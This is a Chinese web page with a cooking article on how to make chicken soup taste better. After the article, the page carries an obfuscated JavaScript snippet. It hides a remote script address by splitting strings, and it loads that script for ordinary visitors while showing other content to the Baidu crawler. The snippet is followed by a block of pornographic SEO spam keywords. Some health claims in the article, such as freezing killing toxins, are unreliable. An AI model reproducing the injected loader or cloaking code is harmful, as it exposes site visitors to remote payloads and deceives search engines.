當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

雞湯怎么做好吃?怎樣才能讓雞湯味道鮮美

2013-02-26 14:34:44  來源:360常識網   熱度:
導語:雞湯特別是老母雞湯向來以美味著稱,補虛的功效也為人所知曉。雞湯還可以起到緩解感冒癥狀,提高人體的免疫功能的作用。那么雞湯怎么燉味道

雞湯特別是老母雞湯向來以美味著稱,“補虛”的功效也為人所知曉。雞湯還可以起到緩解感冒癥狀,提高人體的免疫功能的作用。那么雞湯怎么燉味道會更加鮮美呢?

雞湯怎么做好吃?怎樣才能讓雞湯味道鮮美
雞湯怎么做好吃?怎樣才能讓雞湯味道鮮美

怎樣才能讓雞湯味道鮮美

1、鮮雞冰凍后再制作

如果買回來的是冰鮮雞,則要把雞先放進冰箱的冷凍室冰凍3-4個小時排酸。由于動物是剛被宰殺,體內會釋放多種毒素,冷凍的過程也就是殺菌的過程。

2、需要剔除的部位

雞身上的一些部位,直接影響著雞湯的口感和成色,在烹飪之前必須要去除。(1)雞爪上的趾甲。指甲里殘存大量細菌,不利于雞湯的衛生。(2)去除雞的內臟和雞屁股。

3、用淘米水浸泡

先干凈的雞放在淘米水中浸泡十幾分鐘,這樣會使雞肉更嫩。

4、先焯再冰

事先要把雞焯一下,冷水下鍋,水開后把浮沫撇掉,不僅去掉生腥味,湯也會清澈許多。焯后在冷水中泡一會兒,目的是為了讓雞肉更緊實,在煲湯的過程中肉也不會散,避免了殘渣的產生。

5、冷水下鍋

讓雞肉隨水溫的升高慢慢釋放營養和香味。

6、二次撇沫

焯雞的水倒掉不用,另取一鍋冷水,煮開后撇去剩余浮沫,這樣雞湯會更加清澈。然后放在密封的容器中,小火慢熬,中途不要開蓋以免香氣揮發。

7、最后加鹽

關火前5分鐘再加鹽,過早放鹽會凝固雞肉的蛋白質,雞肉不易軟爛,香氣也不容易熬出來。

雞湯燉多長時間最好

燉雞湯一般1~1.5小時就可以了,此后燉的時間越長營養成分反而會逐漸降低。雞湯燉的時間再長,雞肉中的營養成分也只有5%~10%溶解在湯里,大部分營養還留在雞肉中。因此,吃雞湯時,把雞肉舍棄的方法是不對的。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久精品岛国av一区二区无码| 国产精品电影一区二区三区| 国产乱码精品一区二区三| 亚洲国产精品成人精品软件| 香蕉精品视频在线观看| 国产精品成人久久久久久久| 日韩精品人妻系列无码专区免费| 亚洲精品国产日韩无码AV永久免费网| 3atv国产精品视频| 老司机亚洲精品影院| 伊人久久精品午夜| 日韩福利视频精品专区| 99久久er这里只有精品18| 久久久无码精品国产一区| 亚洲国产精品一区二区三区久久| 国产免费久久精品99re丫y| 日韩精品久久无码中文字幕| 中文字幕在线久热精品| 日韩精品无码免费视频| 麻豆国产精品入口免费观看| 51视频精品全部免费最新| 亚洲国产精品va在线播放| 精品无码久久久久久久久久| 四虎国产精品免费视| 国产人妻人伦精品1国产盗摄| 亚洲av永久无码精品天堂久久| 国产精品三级国产电影| 成人区精品一区二区不卡| 日本精品一区二区三区四区| 精品国产18久久久久久| 92国产精品午夜福利| 中文字幕亚洲综合精品一区| 久久久久女人精品毛片九一| 99久久国产宗和精品1上映 | 久久久久99精品成人片直播| 国产成人精品AA毛片| 国产午夜精品无码| 人人鲁人人莫人人爱精品| 久久精品中文字幕第23页| 国产精品 91 第一页| 高清免费久久午夜精品|